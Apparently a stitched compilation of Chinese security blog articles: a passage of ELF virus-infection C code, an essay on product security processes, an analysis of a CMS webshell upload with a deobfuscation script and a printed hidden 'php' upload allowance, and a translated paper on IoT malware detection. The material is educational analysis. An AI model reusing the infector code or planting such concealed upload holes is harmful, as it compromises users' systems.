* 第一步：修改文件头，将节头表偏移增大一个内存页的长度
*/
Elf64_Addr old_e_entry;
Elf64_Addr o_text_filesz;
Elf64_Addr parasite_vaddr;
uint64_t end_of_text;
int found_text;
uint8_t *mem = (uint8_t *)base;
uint8_t *parasite = (uint8_t *)payload;
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
ehdr->e_shoff += PAGE_SIZE;
struct stat statbuf;
/*
* Adjust program headers
*/
int i, j;
for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD) {
if (phdr[i].p_offset == 0) {
o_text_filesz = phdr[i].p_filesz;
end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
old_e_entry = ehdr->e_entry;
ehdr->e_entry = parasite_vaddr;
phdr[i].p_filesz += parasite_len;
phdr[i].p_memsz += parasite_len;
//ehdr->e_shoff += parasite_len;
for (j = i + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset += PAGE_SIZE;
//phdr[j].p_offset += parasite_len;
}
break;
}
}
//adjust section headers
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_addr > parasite_vaddr)
shdr[i].sh_offset += PAGE_SIZE;
//shdr[i].sh_offset += parasite_len;
else
if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
shdr[i].sh_size += parasite_len;
}
stat(host,&statbuf);
int size = statbuf.st_size;
insert_parasite(host, parasite_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
return 0;
}
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
int ofd;
unsigned int c;
int i, t = 0;
int ret;
ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
ret = write (ofd, mem, end_of_text);
*(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;
write (ofd, parasite, psize);
lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
mem += end_of_text;
unsigned int sum = end_of_text + PAGE_SIZE;
unsigned int last_chunk = hsize - end_of_text;
write (ofd, mem, last_chunk);
close (ofd);
}
**小结**
1、这里和linux二进制分析中稍有出入，他那里总结的是寄生代码大小被控制在一个内存页的大小，而我这里觉得只要代码段的长度不是固定的，那么就可以段对齐长度的整数倍。
2、`PAGE_SIZE`长度，不管是32位还是64位，这个值都是4096（一个内存页标准长度：0x1000byte）的整数倍，这里应该和文件的段对齐有关，后面详细了解ELF文件再确认
3、怎么检测：可以检测入口点在text位置，正常的程序入口点在text节的首部，而text感染技术的入口点没有在text段中最后一个节的头部。
# 参考
> [1] Linux二进制分析
>
> [2] 感染ELF文件(2)<https://blog.csdn.net/zhongyunde/article/details/8657022> | 社区文章 |
**本文纯属个人经验和见解，如有语言不妥之处，还望批评指出。**
### 概述:
首先呢，笔者不是做市场营销的，不是产品经理更不是程序员，笔者只是一个搞信息安全的，所以涉及到产品运营的东西就不讲了，只能从攻防安全的角度去阐述产品的安全建设。此篇文章的描述可能只适用于互联网相关的产品。
### 产品安全
一个公司产品安全性的高低，决定了用户使用安全感的归属。
如果产品三天两头爆出漏洞，造成用户信息泄漏，敢问还会有用户会用吗？如果有替代的产品，用户一定会弃之而后快。
一个好的互联网产品，特别是和用户信息隐私或者钱挂钩的产品，安全问题绝对是不能忽视的。
产品安全不仅和用户相关，更是掌握了企业的生死存亡。好的产品应该是易于维护的，出了安全问题能够快速定位漏洞点，更改或新增功能时，也能够像编写插件一样容易，对于安全问题来讲，能够让测试很清晰明了。产品安全点线面共存，自成一套完善的安全体系，共同协作以达到产品的高机动性，这样不仅是对用户负责，更是对企业自身的发展负责。
### 产品安全开发手册
一个产品开发出来，其成品经过肯定是代码拼出来的，所以产品安全的源头在开发这里。
产品在开发之初从需求到一个想法到设计到成品的过程，不能说程序员参与了全部过程，但至少代码部分是程序员参与的，一个产品的开发，特别是那种大型的产品，开发不止一个人，一般来讲是一个开发团队，其中各个程序员的技术水平和对代码安全认知不同，不可能每一个程序员都是安全开发出身的，这样就造成了产品中有些地方安全性很高，有些地方安全性很差。所以，如何规范程序员的编写代码，是开发团队需要思考的问题。
漏洞的产生是人为和编程语言的特性共同决定的，我们不去考究开发语言自身的漏洞或者后门等其他外部环境因数，单单从程序员自身编写代码说起。正所谓无规矩不成方圆，这句话到今天放到哪里都还是那么的合适，制定一个规范的安全开发手册很重要，这样可以让不懂安全的程序员知道漏洞容易发生在什么地方，在代码层上应该怎么样来进行规避。光靠安全开发手册还不行，还得对程序员进行安全培训，我们不能过于相信程序员能够完全的遵照安全开发手册进行书写。
### 产品安全开发库
为了和安全开发手册相互适应，企业还应该有属于自家公司的安全开发库，什么是安全开发库呢？所谓的安全开发库就是能从代码层上规避漏洞风险，比如说SQL注入漏洞，我们都知道SQL注入漏洞发生在与数据库交互过程中，所以，我们就会在SQL语句进入数据库之前进行非法字符的过滤操作，当然XSS漏洞也差不多，所以呢，要规避此类问题，就是加一个全局的过滤代码，但是呢，这样也不是十分完美，所以我们就需要开发一套安全库，专门来处理SQL，XSS这类常见的漏洞安全库，所有的语句执行直接带入到库中的函数。如：
Name = “test”;
User_info = DB.select(Name);
User_info变量返回的就是用户的信息，DB这个类库就是专门处理select这类数据库操作的，如果有特殊字符引入的话，DB这个类库就会进行过滤绑定操作，从而对常规漏洞进行规避。如JAVA中的Hibernate库，这个库里面就封装有对SQL语句的执行操作，但是对SQL语句的处理还是不够完善，处理后SQL语句后产生的漏洞利用难度已经很大了。
这样，就会是不懂如何过滤的程序员也能写出安全的程序出来。
### 产品安全制度
一套完善的安全产品制度也是很重要的，其中包括了产品从诞生到上线再到下线等一系列过程，其中的安全把控也是需要很多的人力和资源的。
产品从上线之日起，安全问题就已经提上日程，一套完善的产品安全制度可以说是一道指引方向的明灯，以不至于让维护这套产品的工作人员无从下手或者胡乱下手。
对于产品的安全制度应该制定通用的，不对就改，而不是很多套方案，没有必要，也没有意义。制度应从产品开始研发直到下线的这么一个过程制定，有始有终的保障。
笔者以自身经验，简单的说几点，产品开始构思制定并研发这些就不谈了，我们直接到测试环节。
### 产品安全测试
产品安全测试作为产品上线前的安全测试，其发现的问题整改起来比上线后整改起来容易的多，按道理来说，内测环节发现的问题一般会很多，内测完后整个产品的安全性肯定会上升一个档次。
测试应该合理的安排测试和整改额人员，以免浪费或者占用资源。
### 产品预上线
为什么需要预上线呢？那是因为网络环境的复杂性，当有了用户后，我们还得保证服务器的稳定性，如CC压力测试等其他非常规测试。我们在预上线发现的问题可以保留到产品正式运营以作数据参考。
产品的预上线和所谓的内部试运营差不多，预上线要的效果就是服务器的运行和上线后的运行是否能够达到产品设定的标准，其中包括产品的性能等等。
### 产品上线
产品在上线后，还需要对产品进行一次安全测试评估，安全评估如不达标应立即下线整改，整改完后上线。其实按照评估标准来讲，评估是应该放在预上线这个环节的，个人觉得，在实际的真实环境评估的效果可能会更好一点。
评估中的资产清单应纳入到安全管控范围内，这样可以更好的发现产品运营中产生的问题，对应急很有帮助。
其实来讲，企业的所有资产都应该在内部有一个报备清单，其上下线设备产品都应有一个申请，这个不应该是个麻烦，这个对整个企业的安全建设制度化有非常大的帮助，这个可以让运维或者安全人员知道哪些设备上线，哪些设备下线，及时检查相关流程是否符合规范，是否存在安全隐患等等。
资产应有统一管理，其中包括端口问题，所有资产设备的IP端口都应有详细的资产说明表，要开哪个IP，哪个端口，关闭哪个IP或端口都需要申请，这个是安全人员做渗透测试或者安全漏洞扫描必须的。
在运营期间，应该定期有复评估,当然，复评估发现问题后也应该暂下线进行整改。
### 产品运营
所谓运营，说白了也就是产品运行的管理者，运营的安全也是产品安全体系建设里重要的一环。当前的运营也不仅仅是产品的维护者，在这几年的安全形式下，运营逐步变成了一个团队，不再是以前的一个人或者两个人来做，现在的运营更多的是运维和安全管理的结合体（当然还有其他的人员，这里主要讲和安全相关的人员，我们就不讨论了）。其中结合了漏洞扫描、基础运维、防火墙、流量分析监控等等，分工细致，各司其职保证运营过程中的每个环节。定期展开应急演练来考验企业的应急能力和团队协作能力。当然这个是大企业做的，大企业有资源分工比较细。但对于小企业来讲，因为成本和资源问题，人还是只有那么多，需要控制成本，所以安全运营者的能力和压力是很大的，那么小企业就只能是买一些安全服务或者安全产品来进行协作，能力强一点的安全人员可以考虑开源的安全产品来部署企业，不能说防护能力提高多少，但是总归是有效果的。
安全运营重点在于监控，也就是所谓的“一杯茶，一包烟，一个破站盯一天”，监控网络的有许多产品，开源的、收费的比比皆是，怎么选就要看产品的具体需求了，这个是没有一个统一的标准。
### 产品预下线
产品到了需要下线的时候，需要做一个下线退网评估，企业应该循循渐进的开始清理服务和资源，逐步的减小服务范围直到达到一个最低临界点，待产品资源清理和转移的差不多时，开始走下线流程。
### 产品下线
产品在完成其使命或者再没有利用价值时，就应该断网下线。
在关闭相关域名或者IP和端口后，备份保存其数据，其服务器也应该进行格式化操作。然后资产清单报备除名留存备案。
### 产品安全建设总结
大体上产品的生命周期为：
产品安全建设也主要是围绕用户和功能开展，其他的如物理上的安全可以参考本系列文章的前两篇。产品开发出来肯定是供用户使用的，所以要考虑到用户信息和用户体验等等问题，这个就是产品经理该考虑的事情了。
产品的开发过程中得有属于企业自己的一套代码封装库和安全开发手册，建设这些不是说安全问题一定可以避免，但是至少代码会更加的规范，代码功能的更新会更加的容易;安全问题我们不能说没有，至少不会比没有代码约束的产品强。
产品测试环节每个企业的具体标准都不相同，但是测试流程都大同小异，所以其他公司一些比较好的测试规范能借鉴就借鉴，作为补充参考。测试环节也是最能够发现问题的。
一个产品上线必定附带一系列的其他属性，其中的资源调度问题就会凸显出来，所以一些企业安全建设者们为什么都说要规范流程化，规范流程化是很多安全建设的前辈们总结出来的，规范流程化不仅仅是适用于产品安全建设，其更适用于整个企业的安全体系建设。一套完善的安全建设体系必定是流程化的，如我们平时的渗透测试一样，先信息搜集再WEB漏洞再系统漏洞再怎么怎么样。一套完善的体系可以让我们的思路更加的清晰，知道该往那个地方走，而不是胡乱瞎摸方向。
对于产品来讲，在上线前需要做一次安全检查，也就是所谓的安全评估，产品的安全评估主要分为下面几项，当然，这个标准看每个企业自身。笔者就不细分了，列几个大点：
**一：业务基本情况介绍**
这个大项主要是描述这个产品的主要功能、技术实现、网络部署情况等。把产品部署的物理和网络等基础环境和产品功能信息给个详细的介绍说明。
**二：基础安全检查**
这项主要是对产品的部署进行渗透测试、压力测试、功能测试等测试项。
其包括系统漏洞扫描、安全基线、弱口令、数据库、中间件等的安全配置情况检查。其检查形成报告，提供给开发和运维人员进行整改，整改后进行相关问题的复核和新问题的发现。最后形成报告，留存以作备案参考。
**三：配套安全管理措施**
这项主要为系统运维方面，其中包括日志留存、安全管控、资源调度监控等边界检查。排查相关安全工作是否落实。
当然还有应急管理，每个系统或者产品上线前，都应该单独制定一个应急预案，为什么要单独呢？因为我们知道，每个系统或者产品的功能和资源流程架构是不同的，通用的应急预案要有，但是更应该细化到每个系统和产品身上。
**四：安全评估结论意见**
最后在完成了初评估和最终评估后，生成最终的安全评估报告。
在最后给相关运维和运营人员一定的建议，其中包括当前产品可能会发生的问题和运营中可能发生的安全问题等。
在完成了安全评估后产品上线，上线后最重要的就是运营。在运营中，随着用户人数和产品功能的更新完善，随之而来的就是安全问题的产生。之前的安全评估所修复的问题可能再一次的暴露在当前的产品环境当中，伴随老漏洞而来的可能是新漏洞的产生。所以保持渗透测试和漏洞扫描的常态化是非常有必要的。
如果当前产品存在漏洞被非法入侵，用户数据被脱，或者服务器被黑，权限被降。那么运营应该要考虑怎么样消除社会影响，怎么样把企业损失降到最低，怎么进行系统取证操作，快速定位入侵点。
当然了，如果有条件的企业，可以建立一个SRC平台，给一些奖励，白帽子发现的漏洞都可以提交到SRC，建立企业漏洞库，方便管理，参考并以此保证以后少出现此类问题。
在运营期间，每年至少进行一次全方位的系统复评估，以保证其系统的稳定性和安全性。
产品到了生命周期后期时，随着新产品的出现，用户数量开始下降，产品被合并或被代替，那么运营者可以考虑对产品进行下线处理。
在产品下线前要做一次产品预下线评估，这样做的好处是，企业全方位的排查了当前待下线的产品安全性，当前产品系统环境中是否存在APT攻击痕迹，逐步开始走系统下线流程。然后开始减少提供给系统的资源，企业应该循循渐进的开始清理服务和资源，逐步的减小服务范围直到达到一个最低临界点。
下线后，关闭相关域名和断开所有网络后，备份保存其数据，其服务器也应该进行格式化操作。然后资产清单报备除名留存备案。 | 社区文章 |
# 前言
毫无套路的在cnvd上看见了一个漏洞，毫无套路的想着分析一下
# 一脸懵逼的Getshell
官网地址：<http://www.earcms.net/>
先到官网把源码下载下来搭建一下，结果发现源码是混淆过的
这种混淆方式很常见，解密也不难，因为已经知道是前台文件上传导致的getshell，所以暂时不需要全部解密出来一点点分析，暂时只关注他的上传点。
毫无套路的搭建完成后我们看到了他这炫酷的界面
不出意外的发现了免费注册的字样，受到吸引.jpg
毫无套路的注册了一个test用户
毫无套路的登录
毫无套路的发现了一个大大的上传点
毫无套路的开启burp
大家都是成年人，动作色qing一点，先传个shell试试
~~掏出了我的最新版免杀一切支持php7.x的php-webshell-venom4.0生成了一个免杀马~~
？？？
黑人问号脸，上传成功了吗
翻了翻目录下的文件日期，发现shell躺在了`\data\tmp`目录下，名字是时间戳
浏览器访问一下
？？？就这样没了？？？
本来还以为有什么上传绕过，身份伪造，反序列化什么的蛇皮操作，结果就直接没过滤上传成功了。。。。
# 无心插柳还是有意为之
心里想着这种没有后缀过滤上传的cms是怎么活到现在的
毕竟是篇分析，还是看看他的代码逻辑是怎么写的
可以看到上传点是这个文件
`/source/pack/upload/index-uplog.php`
这种代码混淆的最简单的解密办法是把eval改成echo，一直改到最后
这里附上一个 ~~抄来的~~ 解密脚本
<?php
$filename=$_GET['f'];//要解密的文件
$lines = file($filename);//0,1,2行
//第一次base64解密
$content="";
if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y))
{
$content=str_replace("O0O0000O0('","",$y[0]);
$content=str_replace("')","",$content);
$content=base64_decode($content);
}
//第一次base64解密后的内容中查找密钥
$decode_key="";
if(preg_match("/\),'.*',/",$content,$k))
{
$decode_key=str_replace("),'","",$k[0]);
$decode_key=str_replace("',","",$decode_key);
}
//查找要截取字符串长度
$str_length="";
if(preg_match("/,\d*\),/",$content,$k))
{
$str_length=str_replace("),","",$k[0]);
$str_length=str_replace(",","",$str_length);
}
//截取文件加密后的密文
$Secret=substr($lines[2],$str_length);
//echo $Secret;
//直接还原密文输出
file_put_contents(rtrim($filename, '.php') . "_decode.php", "<?php\n" . base64_decode(strtr(
$Secret,
$decode_key,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)) ."?>");
?>
解密结果：
<?php
if(!empty($_FILES)){
$filepart = pathinfo($_FILES['app']['name']);
$extension = strtolower($filepart['extension']);
if(in_array($extension,array('ipa','apk','mobileconfig',pack('H*',706870)))){
$time = $_POST['time'];
preg_match('/^(\d+\-\d+)$/',$time) or exit('-1');
$dir = '../../../data/tmp/'.$time.'/';
if(!is_dir($dir)){
@mkdir($dir,0777,true);
}
$file = '../../../data/tmp/'.$time.'.'.$extension;
@move_uploaded_file($_FILES['app']['tmp_name'],$file);
if($extension == 'ipa'){
include_once '../zip/zip.php';
$zip = new PclZip($file);
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/Info.plist$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/embedded.mobileprovision$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload\/.*.app\/(?!.*\/).*.png$/');
}
echo "{'extension':'$extension','time':'$time'}";
}else{
echo '-1';
}
}
?>
就是一个上传功能
但是注意看这一句：
意思是文件后缀必须是`array('ipa','apk','mobileconfig',pack('H*',706870)`这个数组里面的，否则就上传失败返回-1
毫无套路的解密pack的内容后发现是`php`
这也就解释了为什么用户可以直接前台上传一个php文件
# 最后
测试的版本为官方发布的最新版
至于为什么会故意加上一个php上传后缀并且还用pack混淆一下这个就不好说了
有可能是官方服务器被黑客控制在源码里投毒
也有可能是没有买官方授权使用免费版的话就给你加上这样一个后门
涉及利益的东西，咱也不敢说，咱也不敢问 | 社区文章 |
# 利用卷积神经网络模型动态分析物联网恶意软件检测方法
##### 译文声明
本文是翻译文章，文章原作者 ieee，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/9097224>
译文仅供参考，具体内容表达以及含义原文为准。
Dynamic Analysis for IoT Malware Detection With Convolution Neural Network
Model
## 0x01 介绍
近年来，人工智能（AI）、虚拟现实（VR）、大数据、5G、物联网（IoT）等第四次工业革命的核心技术，通过全产业链的融合，在各个领域得到了应用。尤其是随着物联网技术与人工智能、5G等核心技术的融合，智能汽车、智能工厂、智慧城市等各种物联网产业被迅速激活。物联网市场规模不断扩大，物联网设备、基础设施和应用不仅显著影响着工业领域，也影响着日常生活。
在物联网环境中，设备之间相互连接，交换信息。由于这一特点，分布式拒绝服务(DDoS)、加密货币恶意挖矿、僵尸网络活动等攻击数量正在快速扩大。此外，为了应对快速增长的物联网设备需求，一些厂商大量生产容易出现安全漏洞的物联网设备并提供给用户.脆弱的物联网设备在市场上流通,将成为恶意软件制造者的主要目标。恶意软件不仅可以泄露物联网设备收集的用户信息，还可以渗透到主要网络中，导致其迅速扩展到其他网络。俄罗斯网络安全产品开发商卡巴斯基实验室在2018年收集了121588个物联网恶意软件样本，比2017年收集的32614个样本增加了近四倍；发现了超过12万个攻击方式经过智能进化的变种物联网恶意软件样本。
为了保护物联网设备不受新的变种恶意软件攻击，减少恶意软件感染造成的损失，人们对通过特征学习和分类检测物联网恶意软件进行了研究。一般来说，研究将恶意软件检测阶段分为分析阶段和检测阶段。在分析阶段，为了提取恶意软件的特征，有以下几种方法：静态分析、动态分析、混合分析和内存分析。静态分析是在不直接执行恶意软件的情况下分析二进制文件的信息，而动态分析则是在虚拟机（VM）或沙箱等受控环境中执行恶意软件，分析恶意软件的运行方式。混合分析利用静态分析和动态分析。内存分析是针对内存中的恶意软件的一种综合分析方法。恶意软件分析完成后，进入检测阶段，对分析内容中的恶意软件进行检测。检测阶段可以采用基于签名的、基于启发式的、基于规范的和基于云的恶意软件检测技术。基于签名的恶意软件检测技术通过比较签名，即恶意软件的特征来检测恶意软件。基于启发式的恶意软件检测技术根据恶意软件的特征和模式提前预测新的和变种的恶意软件。基于规范的恶意软件检测技术根据特定的规则确定恶意软件，而基于云端的恶意软件检测技术则是通过云端服务器模式检测恶意软件。通过利用恶意软件分析和检测技术检测已知的和新的、变种的物联网恶意软件，可以防止恶意软件向其他物联网设备的传播。
然而，物联网设备的硬件资源有限，系统经过优化，可以实现特定的目的。检测这类设备中智能演化、快速增长的新的、变种的物联网恶意软件是很困难的。此外，要分析物联网恶意软件在物联网设备中产生的大量行为数据，并在训练后对其进行检测，也要遵循很多限制条件。
因此，本文提出了一种用于物联网恶意软件检测的动态分析(DAIMD)，对嵌套云虚拟环境中的物联网恶意软件进行动态分析，并基于卷积神经网络(CNN)模型学习用大量行为数据压缩的行为图像。DAIMD在嵌套的虚拟环境而非物联网设备中对恶意软件进行动态分析，因此可以在不受硬件资源限制的情况下，准确地分析和检测被混淆或代码值改变的变种物联网恶意软件。此外，还提取了内存、网络、进程、系统调用、虚拟文件系统中的各种行为，以检测在基于Linux的嵌入式物联网设备上执行恶意行为的恶意软件。最大限度地利用提取的大量动作数据，将行为数据转化为图像，对恶意软件进行分析和检测。DAIMD通过在CNN模型之一的ZFNet上训练生成的行为图像来检测物联网恶意软件，结果表明它可以准确地对物联网恶意软件进行分类和检测。
本文的其余部分组织如下。第2节回顾了现有的分析和检测物联网恶意软件的研究方法。第3节描述本文提出的DAIMD。第4节建立了DAIMD模型，第5节描述了DAIMD模型的性能评估。最后，第6节提出了本文的结论，并介绍了未来的研究方向。
## 0x02 相关工作
利用静态、动态、混合和内存分析方法进行了各种研究，以分析恶意软件如何工作，以及在检测之前代码如何流动。大多数研究都采用了静态分析方法，可以在不执行恶意软件的情况下检查恶意软件的整体结构。然而，静态分析难以利用打包检测混淆的恶意软件，也难以识别恶意软件的整体功能，这些都是缺点。
为了解决这一问题，人们对动态分析方法进行了研究，分析恶意软件的整体功能，并通过执行恶意软件来检测被混淆的恶意软件以及新的和变种的恶意软件。此外，还有人研究了利用恶意软件产生的大量特征数据将特征数据转化为图像进行恶意软件检测的技术。
A. 利用动态分析技术进行恶意软件检测
Mohaisen等提出了一种基于行为的自动化恶意软件分析和标签（AMAL）系统，对恶意软件行为进行自动分析和分类。AMAL主要由AutoMal和MaLabel两部分组成，前者监测文件系统、网络和注册表的行为，后者根据监测提取的行为将类似的恶意软件按家族进行分类。MaLabel利用机器学习技术支持向量机(SVM)、决策树(DT)和K-最近邻(KNN)算法对特定恶意软件家族进行分类。但是，Mohaisen提出的AMAL在选择和标注恶意软件代表性行为的过程中，存在恶意软件分析人员人工验证的困难。
Galal等人提出了一种恶意软件的行为分析方法，通过API挂接技术收集恶意软件使用的应用程序接口（API）调用和参数信息。它从提取的API调用和参数中生成的API序列中推断出独特的恶意软件行为。虽然采用了DT、随机森林（RF）和SVM算法等机器学习技术，根据推断的行为对恶意软件进行分类，但由于恶意软件行为的推断涉及分析人员的主观干预，该方法难以检测出恶意软件。
Phode等通过将文件执行时间设置为秒单位，提出了一种预测执行文件中恶意软件的模型。用于分类和检测恶意软件的行为数据是连续的数据，如进程总数、分配的进程ID的最大数量或内存使用量等；通过循环神经网络（RNN）对这些数据进行训练，在恶意软件执行有效载荷之前判断恶意软件的存在，从而保护系统免受恶意攻击。
B. 恶意软件特征数据可视化技术
Shaid等提出了一种恶意软件行为图像技术，在从行为数据中捕捉到API调用后，根据恶意软件的调用强度映射出一种颜色，以强调变种恶意软件的恶意行为，从而实现恶意软件的可视化。当API调用的恶意软件强度较高时，采用暖色；冷色代表调用的恶意软件强度较低。
Trinius等提出了一种树图和线程图来对恶意软件行为进行图像化处理，对从CWSandbox中提取的大量行为记录报告进行总结和表示。树状图提取了恶意软件进行API调用和操作的频率数据，进行可视化处理。相比之下，线程图将行为数据，进程的各个线程操作按时间顺序排列成图像。
Han等提出了一种基于对二进制文件进行静态和动态分析的执行结果中提取的操作码序列来创建图像的方法。该方法可以通过比较二进制文件生成的图像之间的RGB像素信息来衡量变种恶意软件之间的相似性。
Cui提出了一种通过图像处理技术将恶意软件可视化，快速检测变种恶意代码的方法。首先，将恶意软件的二进制文件转换为灰度图像后，利用CNN自动提取生成图像的特征。此外，通过应用蝙蝠算法对恶意软件图像进行数据均衡处理，解决了不同恶意软件家族数量多造成的过拟合问题。该恶意软件检测方法表现出优异的检测速度，准确率为94.5%。
本文提出的DAIMD通过动态分析恶意软件的整体功能，来检测知名的物联网恶意软件以及新的、变种的物联网恶意软件，并通过对大量的特征数据进行可视化压缩和表示。它通过CNN模型选择图像中具有代表性的特征，并对其进行训练来分析和检测恶意软件，从而避免了恶意软件分析人员的主观干预。
表1总结了所提出的DAIMD与其他模型的对比情况。比较项目设置如下：检测恶意软件所构建的系统环境、提取行为特征所使用的分析技术、对恶意软件进行分类所使用的机器学习和深度学习、是否进行可视化总结和表示行为特征、检测恶意软件所使用的行为特征类型。
## 0x03 DAIMD方案
DAIMD方案在基于云端的嵌套虚拟环境中，动态分析对配备有限硬件资源的物联网设备构成威胁的恶意软件，并按照与一般恶意软件检测系统类似的具体分析和检测流程，利用CNN模型对其进行训练。一般恶意软件检测系统和DAIMD的恶意软件检测流程如图1所示。
一般恶意软件检测系统的流程主要包括调试、特征提取、特征选择和分类。调试是通过由恶意软件和良性组成的数据集来生成日志文件，从中提取行为特征。从提取出的特征中，选择出具有代表性的行为；随后是基于代表性行为的分类过程。然后，对恶意软件特征进行训练，将文件分类为包含恶意软件或良性代码。
相比之下，DAIMD的过程由调试、特征提取、特征预处理、特征选择和分类组成，与一般恶意软件检测系统中的调试和特征提取阶段相同，但它也进行了特征预处理，将特征提取后创建的大量行为特征转化为图像。当从通过特征预处理步骤生成的图像中选取具有代表性的特征，并单独进行学习时，就会涉及到恶意软件分析人员的主观思维。为了防止这种情况的发生，DAIMD采用CNN模型来进行特征选择和分类步骤。
A. 调试
在执行物联网恶意软件和良性文件的虚拟环境中，利用Interactive
Disassembler（IDA）Pro分析工具从二进制文件中生成汇编语言的代码，并对目标文件进行远程调试，以确定代码的工作方式和流程[35]。
B. 特征提取
特征提取阶段从物联网恶意软件和良性文件中，通过调试分析文件行为和内部结构，提取出签名，即执行文件的特征。DAIMD提取的作为文件签名的特征有内存、网络、系统调用、虚拟文件系统（VFS）和进程，这些特征被提取为a.csv文件格式并存储在Excel中。表2列出了表示执行文件行为的特征数据类型和配置。
表2 通过调试提取的特征数据类型和配置
C. 特征预处理
为了表示在特征提取阶段从物联网恶意软件和良性文件中提取的大量特征数据，特征预处理阶段对特征数据进行压缩并转换成图像类型，如图2所示，主要包括行为特征元数据和可视化。
图2. – DAIMD的特征预处理阶段，实现行为数据的可视化。
行为特征元数据阶段对代表执行文件行为的特征数据进行处理，然后再将提取的特征数据转换为图像，其中，将特征数据中具有调用顺序索引的网络、系统调用、VFS和进程整合为一个行为数据元，并建立行为频率表，记录来自内存、网络、系统调用、VFS和进程的恶意活动频率。在这里，恶意活动指的是Linux中发生的9种典型恶意活动。可执行和可链接格式(ELF)头操作、持久性机制、欺骗、所需权限、打包和多态、信息收集、进程交互、库和逃避。
在最后阶段，利用内存特征数据、集成的行为特征数据以及由行为特征元数据生成的行为频率表进行可视化。可视化阶段又分为数字化阶段和通道化阶段，前者将行为特征数据中的字符串转换为向量，后者根据向量创建RGB通道。数字化按照以下顺序进行。整数化，将行为特征数据中的所有字符串转换为整数；重缩放，将转换后的整数值调整为0～255之间的值，即图像的范围；再调整，将大小不一的行为数据矢量概括为单一大小。
重缩放过程通过调整为0和255之间的值。这里，Vk表示第k个行为特征日志数据中的一个向量元素，Rk表示重新缩放后的第k个行为特征日志数据中的一个向量元素。
在通道化阶段，将通过数字化产生的存储器、综合行为特征数据和行为频率表的矢量分别与红、绿、蓝通道进行匹配，并将这些通道组合成单一的RGB通道，从而创建关于行为的图像，然后进行存储。
D. 特征选择与分类
DAIMD检测物联网恶意软件的方法是利用CNN模型ZFNet将特征选择和分类阶段整合为一个阶段，在没有人工干预的情况下选择和训练行为的代表性特征。ZFNet是2013年获得ImageNet大规模视觉识别挑战赛（ILSVRC）冠军的CNN模型，其图像识别错误率为11.2%[37]。
CNN模型中的输入数据是通过特征预处理生成的RGB图像，从中检测行为特征，并计算出一个称为特征图的矩阵。它执行特征选择阶段，通过应用最大池化技术减少生成的特征图维度，只提取尺寸大于邻居行为特征值的行为特征值。最后，在CNN模型中通过分类训练出具有代表性的行为特征，在嵌套的虚拟环境中对动态分析的执行文件进行分类和判断是恶意软件还是良性软件。
## 0x04 DAIMD应用
为了训练和构建本文提出的DAIMD模型，保护物联网设备不被物联网恶意软件感染，我们首先构建了一个基于云端的嵌套虚拟环境，配备了英特尔酷睿i7-9700K和GeForce
RTX
2070。在云环境中进行执行文件的分析和恶意软件的检测，以检测威胁对配备有限硬件资源的物联网设备进行智能攻击的物联网恶意软件。在云端创建了一个虚拟机，以防止物联网恶意软件传播到主要网络。利用虚拟机中基于虚拟机的嵌入式软件开发验证解决方案（Imperas），开发了一个采用高级RISC机器（ARM）处理器的嵌入式Linux系统。
A. 调试
数据集收集自物联网设备。在嵌入式系统中运行了1,000个新的和变种的物联网恶意软件样本和401个良性文件，其中共840个文件作为训练数据集，通过分析和训练物联网恶意软件的行为特征来开发DAIMD模型。其中，共有840个文件作为训练数据集，通过分析和训练物联网恶意软件的行为特征来开发DAIMD模型。恶意软件和良性文件共561个作为测试数据集，对DAIMD模型进行测试。
基于1401个物联网恶意软件和良性文件(包括训练数据集和测试数据集)进行物联网恶意软件的分析和检测，在嵌套云环境中执行文件5
min，并对执行文件进行远程调试。
B. 特征提取
通过调试监控执行文件中的流程和代码工作情况后，将内存、网络、系统调用、VFS和进程的特征数据提取为Excel文件格式（图3）。
图3.- DAIMD提取的五类特征数据。
C. 特征预处理
为了将特征提取阶段产生的大量行为特征数据转化为图像，特征预处理阶段根据恶意活动的索引和记录频率，将行为特征数据特征数据整合为一个，建立整合后的行为特征数据和行为频率表，对特征数据进行处理。为了高效地分析物联网恶意软件，将网络、系统调用、VFS、进程的特征数据基于代表调用顺序的索引整合为一个集成数据，读取为Excel文件格式，最多可存储500条记录，如图4所示。
图4. -基于索引的集成行为的特征数据。
进行数字化和通道化，将整合后的行为特征数据和由行为特征元数据和内存、以前特征数据生成的行为频率表转换为图像。为了将行为数据中的所有字符串转换为整数，而不跨越int表示的范围，在整数化过程中最多读取9个字符并转换为整数。此外，行为数据转换为向量的大小，其值范围在0到255之间，被概括为512×512，这是云端嵌套虚拟环境的内存的最大允许大小。为了尽可能多地考虑向量中的邻域特征值，采用重采样器进行双线性插值。
通过通道化过程，将内存特征数据、综合行为特征数据和行为频率表数字化后创建的512×512大小的向量分别匹配到红色通道、绿色通道和蓝色通道。每一个通道，其减少了特征数据的尺寸，被整合成一个单一的RGB图像并存储。图5显示了特征预处理阶段完成后，训练和测试数据集的结果。
图5. – 通过特征预处理创建的良性和恶意软件图像。
D. 特征选择和分类
